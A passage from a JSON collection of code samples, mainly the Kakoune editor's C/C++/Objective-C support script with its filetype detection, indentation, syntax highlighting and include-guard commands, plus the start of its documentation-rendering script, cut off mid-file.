pkcs7_enc_recip_cert_list\n    0x0065: ibm_s390_uncomp\n    0x0066: ibm_s390_comp\n    0x4690: poszip_4690\n    0x5455: extended_timestamp\n    0x7855: infozip_unix\n    0x7875: infozip_unix_var_size\n"
  },
  {
    "path": "samples/KakouneScript/c-family.kak",
    "content": "# Detection\nhook global BufCreate .*\\.(cc|cpp|cxx|C|hh|hpp|hxx|H)$ %{\n    set-option buffer filetype cpp\n}\n\nhook global BufSetOption filetype=c\\+\\+ %{\n    hook -once buffer NormalIdle '' \"set-option buffer filetype cpp\"\n}\n\nhook global BufCreate .*\\.c$ %{\n    set-option buffer filetype c\n}\n\nhook global BufCreate .*\\.h$ %{\n    try %{\n        execute-keys -draft %{%s\\b::\\b|\\btemplate\\h*<lt>|\\bclass\\h+\\w+|\\b(typename|namespace)\\b|\\b(public|private|protected)\\h*:<ret>}\n        set-option buffer filetype cpp\n    } catch %{\n        set-option buffer filetype c\n    }\n}\n\nhook global BufCreate .*\\.m %{\n    set-option buffer filetype objc\n}\n\nhook global WinSetOption filetype=(c|cpp|objc) %[\n    require-module c-family\n\n    evaluate-commands \"set-option window static_words %%opt{%val{hook_param_capture_1}_static_words}\"\n\n    hook -group \"%val{hook_param_capture_1}-trim-indent\" window ModeChange pop:insert:.* c-family-trim-indent\n    hook -group \"%val{hook_param_capture_1}-insert\" window InsertChar \\n c-family-insert-on-newline\n    hook -group \"%val{hook_param_capture_1}-indent\" window InsertChar \\n c-family-indent-on-newline\n    hook -group \"%val{hook_param_capture_1}-indent\" window InsertChar \\{ c-family-indent-on-opening-curly-brace\n    hook -group \"%val{hook_param_capture_1}-indent\" window InsertChar \\} c-family-indent-on-closing-curly-brace\n    hook -group \"%val{hook_param_capture_1}-insert\" window InsertChar \\} c-family-insert-on-closing-curly-brace\n\n    alias window alt \"%val{hook_param_capture_1}-alternative-file\"\n\n    hook -once -always window WinSetOption filetype=.* \"\n        remove-hooks window %val{hook_param_capture_1}-.+\n        unalias window alt %val{hook_param_capture_1}-alternative-file\n    \"\n]\n\nhook -group c-highlight global WinSetOption filetype=c %{\n    add-highlighter window/c ref c\n    hook -once -always window WinSetOption filetype=.* %{ remove-highlighter window/c }\n}\n\nhook -group cpp-highlight global WinSetOption filetype=cpp %{\n    add-highlighter window/cpp ref cpp\n    hook -once -always window WinSetOption filetype=.* %{ remove-highlighter window/cpp }\n}\n\nhook -group objc-highlight global WinSetOption filetype=objc %{\n    add-highlighter window/objc ref objc\n    hook -once -always window WinSetOption filetype=.* %{ remove-highlighter window/objc }\n}\n\n\nprovide-module c-family %§\n\ndefine-command -hidden c-family-trim-indent %{\n    # remove the line if it's empty when leaving the insert mode\n    try %{ execute-keys -draft <a-x> 1s^(\\h+)$<ret> d }\n}\n\ndefine-command -hidden c-family-indent-on-newline %< evaluate-commands -draft -itersel %<\n    execute-keys <semicolon>\n    try %<\n        # if previous line is part of a comment, do nothing\n        execute-keys -draft <a-?>/\\*<ret> <a-K>^\\h*[^/*\\h]<ret>\n    > catch %<\n        # else if previous line closed a paren (possibly followed by words and a comment),\n        # copy indent of the opening paren line\n        execute-keys -draft k<a-x> 1s(\\))(\\h+\\w+)*\\h*(\\;\\h*)?(?://[^\\n]+)?\\n\\z<ret> m<a-semicolon>J <a-S> 1<a-&>\n    > catch %<\n        # else indent new lines with the same level as the previous one\n        execute-keys -draft K <a-&>\n    >\n    # remove previous empty lines resulting from the automatic indent\n    try %< execute-keys -draft k <a-x> <a-k>^\\h+$<ret> Hd >\n    # indent after an opening brace or parenthesis at end of line\n    try %< execute-keys -draft k <a-x> <a-k>[{(]\\h*$<ret> j <a-gt> >\n    # indent after a label\n    try %< execute-keys -draft k <a-x> s[a-zA-Z0-9_-]+:\\h*$<ret> j <a-gt> >\n    # indent after a statement not followed by an opening brace\n    try %< execute-keys -draft k <a-x> s\\)\\h*(?://[^\\n]+)?\\n\\z<ret> \\\n                               <a-semicolon>mB <a-k>\\A\\b(if|for|while)\\b<ret> <a-semicolon>j <a-gt> >\n    try %< execute-keys -draft k <a-x> s \\belse\\b\\h*(?://[^\\n]+)?\\n\\z<ret> \\\n                               j <a-gt> >\n    # deindent after a single line statement end\n    try %< execute-keys -draft K <a-x> <a-k>\\;\\h*(//[^\\n]+)?$<ret> \\\n                               K <a-x> s\\)(\\h+\\w+)*\\h*(//[^\\n]+)?\\n([^\\n]*\\n){2}\\z<ret> \\\n                               MB <a-k>\\A\\b(if|for|while)\\b<ret> <a-S>1<a-&> >\n    try %< execute-keys -draft K <a-x> <a-k>\\;\\h*(//[^\\n]+)?$<ret> \\\n                               K <a-x> s \\belse\\b\\h*(?://[^\\n]+)?\\n([^\\n]*\\n){2}\\z<ret> \\\n                               <a-S>1<a-&> >\n    # deindent closing brace(s) when after cursor\n    try %< execute-keys -draft <a-x> <a-k> ^\\h*[})] <ret> gh / [})] <esc> m <a-S> 1<a-&> >\n    # align to the opening parenthesis or opening brace (whichever is first)\n    # on a previous line if its followed by text on the same line\n    try %< evaluate-commands -draft %<\n        # Go to opening parenthesis and opening brace, then select the most nested one\n        try %< execute-keys [c [({],[)}] <ret> >\n        # Validate selection and get first and last char\n        execute-keys <a-k>\\A[{(](\\h*\\S+)+\\n<ret> <a-K>\"(([^\"]*\"){2})*<ret> <a-K>'(([^']*'){2})*<ret> <a-:><a-semicolon>L <a-S>\n        # Remove possibly incorrect indent from new line which was copied from previous line\n        try %< execute-keys -draft <space> <a-h> s\\h+<ret> d >\n        # Now indent and align that new line with the opening parenthesis/brace\n        execute-keys 1<a-&> &\n     > >\n> >\n\ndefine-command -hidden c-family-indent-on-opening-curly-brace %[\n    # align indent with opening paren when { is entered on a new line after the closing paren\n    try %[ execute-keys -draft -itersel h<a-F>)M <a-k> \\A\\(.*\\)\\h*\\n\\h*\\{\\z <ret> <a-S> 1<a-&> ]\n    # align indent with opening paren when { is entered on a new line after the else\n    try %[ execute-keys -draft -itersel hK <a-x> s \\belse\\b\\h*(?://[^\\n]+)?\\n\\h*\\{<ret> <a-S> 1<a-&> ]\n]\n\ndefine-command -hidden c-family-indent-on-closing-curly-brace %[\n    # align to opening curly brace when alone on a line\n    try %[\n        # in case open curly brace follows a closing paren, align indent with opening paren\n        execute-keys -itersel -draft <a-h><a-:><a-k>^\\h+\\}$<ret>hm <a-F>)M <a-k> \\A\\(.*\\)\\h\\{.*\\}\\z <ret> <a-S>1<a-&>\n    ] catch %[\n        # otherwise align with open curly brace\n        execute-keys -itersel -draft <a-h><a-:><a-k>^\\h+\\}$<ret>hm<a-S>1<a-&>\n    ] catch %[]\n]\n\ndefine-command -hidden c-family-insert-on-closing-curly-brace %[\n    # add a semicolon after a closing brace if part of a class, union or struct definition\n    try %[ execute-keys -itersel -draft hm<a-x>B<a-x><a-k>\\A\\h*(class|struct|union|enum)<ret> '<a-;>;i;<esc>' ]\n]\n\ndefine-command -hidden c-family-insert-on-newline %[ evaluate-commands -itersel -draft %[\n    execute-keys <semicolon>\n    try %[\n        evaluate-commands -draft -save-regs '/\"' %[\n            # copy the commenting prefix\n            execute-keys -save-regs '' k <a-x>1s^\\h*(//+\\h*)<ret> y\n            try %[\n                # if the previous comment isn't empty, create a new one\n                execute-keys <a-x><a-K>^\\h*//+\\h*$<ret> j<a-x>s^\\h*<ret>P\n            ] catch %[\n                # if there is no text in the previous comment, remove it completely\n                execute-keys d\n            ]\n        ]\n    ]\n    try %[\n        # if the previous line isn't within a comment scope, break\n        execute-keys -draft k<a-x> <a-k>^(\\h*/\\*|\\h+\\*(?!/))<ret>\n\n        # find comment opening, validate it was not closed, and check its using star prefixes\n        execute-keys -draft <a-?>/\\*<ret><a-H> <a-K>\\*/<ret> <a-k>\\A\\h*/\\*([^\\n]*\\n\\h*\\*)*[^\\n]*\\n\\h*.\\z<ret>\n\n        try %[\n            # if the previous line is opening the comment, insert star preceeded by space\n            execute-keys -draft k<a-x><a-k>^\\h*/\\*<ret>\n            execute-keys -draft i*<space><esc>\n        ] catch %[\n           try %[\n                # if the next line is a comment line insert a star\n                execute-keys -draft j<a-x><a-k>^\\h+\\*<ret>\n                execute-keys -draft i*<space><esc>\n            ] catch %[\n                try %[\n                    # if the previous line is an empty comment line, close the comment scope\n                    execute-keys -draft k<a-x><a-k>^\\h+\\*\\h+$<ret> <a-x>1s\\*(\\h*)<ret>c/<esc>\n                ] catch %[\n                    # if the previous line is a non-empty comment line, add a star\n                    execute-keys -draft i*<space><esc>\n                ]\n            ]\n        ]\n\n        # trim trailing whitespace on the previous line\n        try %[ execute-keys -draft s\\h+$<ret> d ]\n        # align the new star with the previous one\n        execute-keys K<a-x>1s^[^*]*(\\*)<ret>&\n    ]\n] ]\n\n# Regions definition are the same between c++ and objective-c\nevaluate-commands %sh{\n    for ft in c cpp objc; do\n        if [ \"${ft}\" = \"objc\" ]; then\n            maybe_at='@?'\n        else\n            maybe_at=''\n        fi\n\n        cat <<-EOF\n            add-highlighter shared/$ft regions\n            add-highlighter shared/$ft/code default-region group\n            add-highlighter shared/$ft/string region %{$maybe_at(?<!')(?<!'\\\\\\\\)\"} %{(?<!\\\\\\\\)(?:\\\\\\\\\\\\\\\\)*\"} fill string\n            add-highlighter shared/$ft/raw_string region -match-capture %{R\"([^(]*)\\\\(} %{\\\\)([^\")]*)\"} fill string\n            add-highlighter shared/$ft/javadoc region /\\*\\*[^/] \\*/ fill documentation\n            add-highlighter shared/$ft/qtdoc region /\\*! \\*/ fill documentation\n            add-highlighter shared/$ft/inline_doc region /// $ fill documentation\n            add-highlighter shared/$ft/inline_qtdoc region //! $ fill documentation\n            add-highlighter shared/$ft/comment region /\\\\* \\\\*/ fill comment\n            add-highlighter shared/$ft/line_comment region // (?<!\\\\\\\\)(?=\\\\n) fill comment\n            add-highlighter shared/$ft/disabled region -recurse \"#\\\\h*if(?:def)?\" ^\\\\h*?#\\\\h*if\\\\h+(?:0|FALSE)\\\\b \"#\\\\h*(?:else|elif|endif)\" fill comment\n            add-highlighter shared/$ft/macro region %{^\\\\h*?\\\\K#} %{(?<!\\\\\\\\)(?=\\\\n)|(?=//)} group\n\n            add-highlighter shared/$ft/macro/ fill meta\n            add-highlighter shared/$ft/macro/ regex ^\\\\h*#\\\\h*include\\\\h+(\\\\S*) 1:module\n            add-highlighter shared/$ft/macro/ regex /\\\\*.*?\\\\*/ 0:comment\n\tEOF\n    done\n}\n\n# c specific\nadd-highlighter shared/c/code/numbers regex %{\\b-?(0x[0-9a-fA-F]+|\\d+)([uU][lL]{0,2}|[lL]{1,2}[uU]?|[fFdDiI]|([eE][-+]?\\d+))?|'((\\\\.)?|[^'\\\\])'} 0:value\nevaluate-commands %sh{\n    # Grammar\n    keywords='asm break case continue default do else for goto if return\n              sizeof switch while offsetof alignas alignof'\n    attributes='auto atomic const enum extern inline register restrict static\n                struct typedef union volatile thread_local'\n    types='char double float int long short signed unsigned void\n           complex imaginary\n           fenv_t fexcept_t\n           imaxdiv_t\n           lconv\n           float_t double_t\n           jmp_buf\n           sig_atomic_t\n           va_list\n           memory_order atomic_flag atomic_bool atomic_char atomic_schar atomic_uchar atomic_wchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_llong atomic_ulong atomic_ullong atomic_char16_t atomic_char32_t atomic_intptr_t atomic_intmax_t atomic_int8_t atomic_int16_t atomic_int32_t atomic_int64_t atomic_int_least8_t atomic_int_least16_t atomic_int_least32_t atomic_int_least64_t atomic_int_fast8_t atomic_int_fast16_t atomic_int_fast32_t atomic_int_fast64_t atomic_uintptr_t atomic_uintmax_t atomic_uint8_t atomic_uint16_t atomic_uint32_t atomic_uint64_t atomic_uint_least8_t atomic_uint_least16_t atomic_uint_least32_t atomic_uint_least64_t atomic_uint_fast8_t atomic_uint_fast16_t atomic_uint_fast32_t atomic_uint_fast64_t atomic_size_t atomic_ptrdiff_t\n           bool\n           ptrdiff_t size_t max_align_t wchar_t\n           intptr_t intmax_t int8_t int16_t int32_t int64_t int_least8_t int_least16_t int_least32_t int_least64_t int_fast8_t int_fast16_t int_fast32_t int_fast64_t uintptr_t uintmax_t uint8_t uint16_t uint32_t uint64_t uint_least8_t uint_least16_t uint_least32_t uint_least64_t uint_fast8_t uint_fast16_t uint_fast32_t uint_fast64_t\n           FILE fpos_t\n           div_t ldiv_t lldiv_t\n           cnd_t thrd_t thrd_start_t tss_t tss_dtor_t mtx_t once_flag\n           clock_t time_t timespec tm\n           mbstate_t wint_t\n           wctrans_t wctype_t\n           char16_t char32_t\n           ssize_t gid_t uid_t off_t off64_t useconds_t pid_t socklen_t'\n\n    macros='assert static_assert NDEBUG\n            I\n            EDOM EILSEQ ERANGE errno\n            FE_DIVBYZERO FE_INEXACT FE_INVALID FE_OVERFLOW FE_UNDERFLOW FE_ALL_EXCEPT FE_DOWNWARD FE_TONEAREST FE_TOWARDZERO FE_UPWARD FE_DFL_ENV\n            DECIMAL_DIG FLT_ROUNDS FLT_EVAL_METHOD FLT_RADIX FLT_DIG FLT_MANT_DIG FLT_DECIMAL_DIG FLT_MIN_EXP FLT_MIN_10_EXP FLT_MAX_EXP FLT_MAX FLT_EPSILON FLT_TRUE_MIN FLT_HAS_SUBNORM DBL_DIG DBL_MANT_DIG DBL_DECIMAL_DIG DBL_MIN_EXP DBL_MIN_10_EXP DBL_MAX_EXP DBL_MAX DBL_EPSILON DBL_TRUE_MIN DBL_HAS_SUBNORM LDBL_DIG LDBL_MANT_DIG LDBL_DECIMAL_DIG LDBL_MIN_EXP LDBL_MIN_10_EXP LDBL_MAX_EXP LDBL_MAX LDBL_EPSILON LDBL_TRUE_MIN LDBL_HAS_SUBNORM\n            PRIdMAX PRIdPTR PRId8 PRId16 PRId32 PRId64 PRIdLEAST8 PRIdLEAST16 PRIdLEAST32 PRIdLEAST64 PRIdFAST8 PRIdFAST16 PRIdFAST32 PRIdFAST64 PRIiMAX PRIiPTR PRIi8 PRIi16 PRIi32 PRIi64 PRIiLEAST8 PRIiLEAST16 PRIiLEAST32 PRIiLEAST64 PRIiFAST8 PRIiFAST16 PRIiFAST32 PRIiFAST64 PRIoMAX PRIoPTR PRIo8 PRIo16 PRIo32 PRIo64 PRIoLEAST8 PRIoLEAST16 PRIoLEAST32 PRIoLEAST64 PRIoFAST8 PRIoFAST16 PRIoFAST32 PRIoFAST64 PRIuMAX PRIuPTR PRIu8 PRIu16 PRIu32 PRIu64 PRIuLEAST8 PRIuLEAST16 PRIuLEAST32 PRIuLEAST64 PRIuFAST8 PRIuFAST16 PRIuFAST32 PRIuFAST64 PRIxMAX PRIxPTR PRIx8 PRIx16 PRIx32 PRIx64 PRIxLEAST8 PRIxLEAST16 PRIxLEAST32 PRIxLEAST64 PRIxFAST8 PRIxFAST16 PRIxFAST32 PRIxFAST64 PRIXMAX PRIXPTR PRIX8 PRIX16 PRIX32 PRIX64 PRIXLEAST8 PRIXLEAST16 PRIXLEAST32 PRIXLEAST64 PRIXFAST8 PRIXFAST16 PRIXFAST32 PRIXFAST64 SCNdMAX SCNdPTR SCNd8 SCNd16 SCNd32 SCNd64 SCNdLEAST8 SCNdLEAST16 SCNdLEAST32 SCNdLEAST64 SCNdFAST8 SCNdFAST16 SCNdFAST32 SCNdFAST64 SCNiMAX SCNiPTR SCNi8 SCNi16 SCNi32 SCNi64 SCNiLEAST8 SCNiLEAST16 SCNiLEAST32 SCNiLEAST64 SCNiFAST8 SCNiFAST16 SCNiFAST32 SCNiFAST64 SCNoMAX SCNoPTR SCNo8 SCNo16 SCNo32 SCNo64 SCNoLEAST8 SCNoLEAST16 SCNoLEAST32 SCNoLEAST64 SCNoFAST8 SCNoFAST16 SCNoFAST32 SCNoFAST64 SCNuMAX SCNuPTR SCNu8 SCNu16 SCNu32 SCNu64 SCNuLEAST8 SCNuLEAST16 SCNuLEAST32 SCNuLEAST64 SCNuFAST8 SCNuFAST16 SCNuFAST32 SCNuFAST64 SCNxMAX SCNxPTR SCNx8 SCNx16 SCNx32 SCNx64 SCNxLEAST8 SCNxLEAST16 SCNxLEAST32 SCNxLEAST64 SCNxFAST8 SCNxFAST16 SCNxFAST32 SCNxFAST64\n            and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq\n            CHAR_MIN CHAR_MAX SCHAR_MIN SCHAR_MAX WCHAR_MIN WCHAR_MAX SHRT_MIN SHRT_MAX INT_MIN INT_MAX LONG_MIN LONG_MAX LLONG_MIN LLONG_MAX MB_LEN_MAX UCHAR_MAX USHRT_MAX UINT_MAX ULONG_MAX ULLONG_MAX CHAR_BIT\n            LC_ALL LC_COLLATE LC_CTYPE LC_MONETARY LC_NUMERIC LC_TIME\n            HUGE_VAL HUGE_VALF HUGE_VALL INFINITY NAN FP_INFINITE FP_NAN FP_NORMAL FP_SUBNORMAL FP_ZERO FP_FAST_FMA FP_FAST_FMAF FP_FAST_FMAL FP_ILOGB0 FP_ILOGBNAN MATH_ERRNO MATH_ERREXCEPT math_errhandling isgreater isgreaterequal isless islessequal islessgreater isunordered\n            setjmp\n            SIG_DFL SIG_ERR SIG_IGN SIGABRT SIGFPE SIGILL SIGINT SIGSEGV SIGTERM\n            va_start va_arg va_end va_copy\n            ATOMIC_BOOL_LOCK_FREE ATOMIC_CHAR_LOCK_FREE ATOMIC_CHAR16_T_LOCK_FREE ATOMIC_CHAR32_T_LOCK_FREE ATOMIC_WCHAR_T_LOCK_FREE ATOMIC_SHORT_LOCK_FREE ATOMIC_INT_LOCK_FREE ATOMIC_LONG_LOCK_FREE ATOMIC_LLONG_LOCK_FREE ATOMIC_POINTER_LOCK_FREE ATOMIC_FLAG_INIT ATOMIC_VAR_INIT memory_order_relaxed memory_order_consume memory_order_acquire memory_order_release memory_order_acq_rel memory_order_seq_cst kill_dependency\n            true false\n            NULL\n            _IOFBF _IOLBF _IONBF BUFSIZ EOF FOPEN_MAX FILENAME_MAX TMP_MAX L_tmpnam SEEK_CUR SEEK_END SEEK_SET stderr stdin stdout\n            EXIT_FAILURE EXIT_SUCCESS MB_CUR_MAX RAND_MAX\n            PTRDIFF_MIN PTRDIFF_MAX SIG_ATOMIC_MIN SIG_ATOMIC_MAX WINT_MIN WINT_MAX INTMAX_MIN INTMAX_MAX INTPTR_MIN INTPTR_MAX INT8_MIN INT8_MAX INT16_MIN INT16_MAX INT32_MIN INT32_MAX INT64_MIN INT64_MAX INT_LEAST8_MIN INT_LEAST8_MAX INT_LEAST16_MIN INT_LEAST16_MAX INT_LEAST32_MIN INT_LEAST32_MAX INT_LEAST64_MIN INT_LEAST64_MAX INT_FAST8_MIN INT_FAST8_MAX INT_FAST16_MIN INT_FAST16_MAX INT_FAST32_MIN INT_FAST32_MAX INT_FAST64_MIN INT_FAST64_MAX UINTMAX_MAX UINTPTR_MAX UINT8_MAX UINT16_MAX UINT32_MAX UINT64_MAX UINT_LEAST8_MAX UINT_LEAST16_MAX UINT_LEAST32_MAX UINT_LEAST64_MAX UINT_FAST8_MAX UINT_FAST16_MAX UINT_FAST32_MAX UINT_FAST64_MAX INTMAX_C INT8_C INT16_C INT32_C INT64_C UINTMAX_C UINT8_C UINT16_C UINT32_C UINT64_C\n            mtx_plain mtx_recursive mtx_timed thrd_timedout thrd_success thrd_busy thrd_error thrd_nomem ONCE_FLAG_INIT TSS_DTOR_ITERATION\n            CLOCKS_PER_SEC TIME_UTC\n            WEOF\n            noreturn\n            R_OK W_OK X_OK F_OK F_LOCK F_ULOCK F_TLOCK F_TEST'\n\n    join() { sep=$2; eval set -- $1; IFS=\"$sep\"; echo \"$*\"; }\n\n    # Add the language's grammar to the static completion list\n    printf %s\\\\n \"declare-option str-list c_static_words $(join \"${keywords} ${attributes} ${types} ${macros}\" ' ')\"\n\n    # Highlight keywords\n    printf %s \"\n        add-highlighter shared/c/code/keywords regex \\b($(join \"${keywords}\" '|'))\\b 0:keyword\n        add-highlighter shared/c/code/attributes regex \\b($(join \"${attributes}\" '|'))\\b 0:attribute\n        add-highlighter shared/c/code/types regex \\b($(join \"${types}\" '|'))\\b 0:type\n        add-highlighter shared/c/code/values regex \\b($(join \"${macros}\" '|'))\\b 0:value\n    \"\n}\n\n# c++ specific\n\n# integer literals\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b[1-9]('?\\d+)*(ul?l?|ll?u?)?\\b(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b0b[01]('?[01]+)*(ul?l?|ll?u?)?\\b(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b0('?[0-7]+)*(ul?l?|ll?u?)?\\b(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b0x[\\da-f]('?[\\da-f]+)*(ul?l?|ll?u?)?\\b(?!\\.)} 0:value\n\n# floating point literals\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b\\d('?\\d+)*\\.([fl]\\b|\\B)(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b\\d('?\\d+)*\\.?e[+-]?\\d('?\\d+)*[fl]?\\b(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)(\\b(\\d('?\\d+)*)|\\B)\\.\\d('?[\\d]+)*(e[+-]?\\d('?\\d+)*)?[fl]?\\b(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b0x[\\da-f]('?[\\da-f]+)*\\.([fl]\\b|\\B)(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b0x[\\da-f]('?[\\da-f]+)*\\.?p[+-]?\\d('?\\d+)*)?[fl]?\\b(?!\\.)} 0:value\nadd-highlighter shared/cpp/code/ regex %{(?i)(?<!\\.)\\b0x([\\da-f]('?[\\da-f]+)*)?\\.\\d('?[\\d]+)*(p[+-]?\\d('?\\d+)*)?[fl]?\\b(?!\\.)} 0:value\n\n# character literals (no multi-character literals)\nadd-highlighter shared/cpp/code/char regex %{(\\b(u8|u|U|L)|\\B)'((\\\\.)|[^'\\\\])'\\B} 0:value\n\nevaluate-commands %sh{\n    # Grammar\n    keywords='alignas alignof and and_eq asm bitand bitor break case catch\n              compl const_cast continue decltype delete do dynamic_cast\n              else export for goto if new not not_eq operator or or_eq\n              reinterpret_cast return sizeof static_assert static_cast switch\n              throw try typedef typeid using while xor xor_eq'\n    attributes='audit auto axiom const consteval constexpr default explicit\n                extern final friend inline mutable noexcept override private\n                protected public register requires static thread_local typename\n                virtual volatile'\n    entities='class concept enum namespace struct template union'\n    types='bool byte char char8_t char16_t char32_t double float int long\n           max_align_t nullptr_t ptrdiff_t short signed size_t unsigned void\n           wchar_t'\n    values='NULL false nullptr this true'\n\n    join() { sep=$2; eval set -- $1; IFS=\"$sep\"; echo \"$*\"; }\n\n    # Add the language's grammar to the static completion list\n    printf %s\\\\n \"declare-option str-list cpp_static_words $(join \"${keywords} ${attributes} ${entities} ${types} ${values}\" ' ')\"\n\n    # Highlight keywords\n    printf %s \"\n        add-highlighter shared/cpp/code/keywords regex \\b($(join \"${keywords}\" '|'))\\b 0:keyword\n        add-highlighter shared/cpp/code/attributes regex \\b($(join \"${attributes} ${entities}\" '|'))\\b 0:attribute\n        add-highlighter shared/cpp/code/types regex \\b($(join \"${types}\" '|'))\\b 0:type\n        add-highlighter shared/cpp/code/values regex \\b($(join \"${values}\" '|'))\\b 0:value\n    \"\n}\n\n# c and c++ compiler macros\nevaluate-commands %sh{\n    builtin_macros=\"__cplusplus|__STDC_HOSTED__|__FILE__|__LINE__|__DATE__|__TIME__|__STDCPP_DEFAULT_NEW_ALIGNMENT__\"\n\n    printf %s \"\n        add-highlighter shared/c/code/macros regex \\b(${builtin_macros})\\b 0:builtin\n        add-highlighter shared/cpp/code/macros regex \\b(${builtin_macros})\\b 0:builtin\n    \"\n}\n\n# objective-c specific\nadd-highlighter shared/objc/code/number regex %{\\b-?\\d+[fdiu]?|'((\\\\.)?|[^'\\\\])'} 0:value\n\nevaluate-commands %sh{\n    # Grammar\n    keywords='break case continue default do else for goto if return switch\n              while'\n    attributes='IBAction IBOutlet __block assign auto const copy enum extern\n                inline nonatomic readonly retain static strong struct typedef\n                union volatile weak'\n    types='BOOL CGFloat NSInteger NSString NSUInteger bool char float\n           instancetype int long short signed size_t unsigned void'\n    values='FALSE NO NULL TRUE YES id nil self super'\n    decorators='autoreleasepool catch class end implementation interface\n                property protocol selector synchronized synthesize try'\n\n    join() { sep=$2; eval set -- $1; IFS=\"$sep\"; echo \"$*\"; }\n\n    # Add the language's grammar to the static completion list\n    printf %s\\\\n \"declare-option str-list objc_static_words $(join \"${keywords} ${attributes} ${types} ${values} ${decorators}\" ' ')\"\n\n    # Highlight keywords\n    printf %s \"\n        add-highlighter shared/objc/code/keywords regex \\b($(join \"${keywords}\" '|'))\\b 0:keyword\n        add-highlighter shared/objc/code/attributes regex \\b($(join \"${attributes}\" '|'))\\b 0:attribute\n        add-highlighter shared/objc/code/types regex \\b($(join \"${types}\" '|'))\\b 0:type\n        add-highlighter shared/objc/code/values regex \\b($(join \"${values}\" '|'))\\b 0:value\n        add-highlighter shared/objc/code/decorators regex  @($(join \"${decorators}\" '|'))\\b 0:attribute\n    \"\n}\n\ndeclare-option -docstring %{\n    control the type of include guard to be inserted in empty headers\n    Can be one of the following:\n        ifdef: old style ifndef/define guard\n        pragma: newer type of guard using \"pragma once\"\n} str c_include_guard_style \"ifdef\"\n\ndefine-command -hidden c-family-insert-include-guards %{\n    evaluate-commands %sh{\n        case \"${kak_opt_c_include_guard_style}\" in\n            ifdef)\n                echo 'execute-keys ggi<c-r>%<ret><esc>ggxs\\.<ret>c_<esc><space>A_INCLUDED<esc>ggxyppI#ifndef<space><esc>jI#define<space><esc>jI#endif<space>//<space><esc>O<esc>'\n                ;;\n            pragma)\n                echo 'execute-keys ggi#pragma<space>once<esc>'\n                ;;\n            *);;\n        esac\n    }\n}\n\nhook -group c-family-insert global BufNewFile .*\\.(h|hh|hpp|hxx|H) c-family-insert-include-guards\n\ndeclare-option -docstring \"colon separated list of path in which header files will be looked for\" \\\n    str-list alt_dirs '.' '..'\n\ndefine-command -hidden c-family-alternative-file %{\n    evaluate-commands %sh{\n        file=\"${kak_buffile##*/}\"\n        file_noext=\"${file%.*}\"\n        dir=$(dirname \"${kak_buffile}\")\n\n        # Set $@ to alt_dirs\n        eval \"set -- ${kak_quoted_opt_alt_dirs}\"\n\n        case ${file} in\n            *.c|*.cc|*.cpp|*.cxx|*.C|*.inl|*.m)\n                for alt_dir in \"$@\"; do\n                    for ext in h hh hpp hxx H; do\n                        altname=\"${dir}/${alt_dir}/${file_noext}.${ext}\"\n                        if [ -f ${altname} ]; then\n                            printf 'edit %%{%s}\\n' \"${altname}\"\n                            exit\n                        fi\n                    done\n                done\n            ;;\n            *.h|*.hh|*.hpp|*.hxx|*.H)\n                for alt_dir in \"$@\"; do\n                    for ext in c cc cpp cxx C m; do\n                        altname=\"${dir}/${alt_dir}/${file_noext}.${ext}\"\n                        if [ -f ${altname} ]; then\n                            printf 'edit %%{%s}\\n' \"${altname}\"\n                            exit\n                        fi\n                    done\n                done\n            ;;\n            *)\n                echo \"fail 'extension not recognized'\"\n                exit\n            ;;\n        esac\n        echo \"fail 'alternative file not found'\"\n    }\n}\n\ndefine-command c-alternative-file -docstring \"Jump to the alternate c file (header/implementation)\" %{\n    c-family-alternative-file\n}\ndefine-command cpp-alternative-file -docstring \"Jump to the alternate cpp file (header/implementation)\" %{\n    c-family-alternative-file\n}\ndefine-command objc-alternative-file -docstring \"Jump to the alternate objc file (header/implementation)\" %{\n    c-family-alternative-file\n}\n\n§\n\n# Module aliases\nprovide-module c %{ require-module c-family }\nprovide-module cpp %{ require-module c-family }\nprovide-module objc %{ require-module c-family }\n"
  },
  {
    "path": "samples/KakouneScript/doc.kak",
    "content": "declare-option -docstring \"name of the client in which documentation is to be displayed\" \\\n    str docsclient\n\ndeclare-option -hidden range-specs doc_render_ranges\ndeclare-option -hidden range-specs doc_render_links\ndeclare-option -hidden range-specs doc_links\ndeclare-option -hidden range-specs doc_anchors\n\ndefine-command -hidden -params 4 doc-render-regex %{\n    evaluate-commands -draft %{ try %{\n        execute-keys <percent> s %arg{1} <ret>\n        execute-keys -draft s %arg{2} <ret> d\n        execute-keys \"%arg{3}\"\n        evaluate-commands %sh{\n            face=\"$4\"\n            eval \"set -- $kak_quoted_selections_desc\"\n            ranges=\"\"\n            for desc in \"$@\"; do ranges=\"$ranges '$desc|$face'\"; done\n            echo \"update-option buffer doc_render_ranges\"\n            echo \"set-option -add buffer doc_render_ranges $ranges\"\n        }\n    } }\n}\n\ndefine-command -hidden doc-parse-links %{\n    evaluate-commands -draft %{ try %{\n        execute-keys <percent> s <lt><lt>(.*?),.*?<gt><gt> <ret>\n        execute-keys -draft s <lt><lt>.*,|<gt><gt> <ret> d\n        execute-keys H\n        set-option buffer doc_links %val{timestamp}\n        set-option buffer doc_render_links %val{timestamp}\n        evaluate-commands -itersel %{\n            set-option -add buffer doc_links \"%val{selection_desc}|%reg{1}\"\n            set-option -add buffer doc_render_links \"%val{selection_desc}|default+u\"\n        }\n    } }\n}\n\ndefine-command -hidden doc-parse-anchors %{\n    evaluate-commands -draft %{ try %{\n        set-option buffer doc_anchors %val{timestamp}\n        # Find sections as add them as imlicit anchors\n        execute-keys <percent> s ^={2,}\\h+([^\\n]+)$ <ret>\n        evaluate-commands -itersel %{\n            set-option -add buffer doc_anchors \"%val{selection_desc}|%sh{printf '%s' \"\"$kak_main_reg_1\"\" | tr '[A-Z ]' '[a-z-]'}\"\n        }\n\n        # Parse explicit anchors and remove their text\n        execute-keys <percent> s 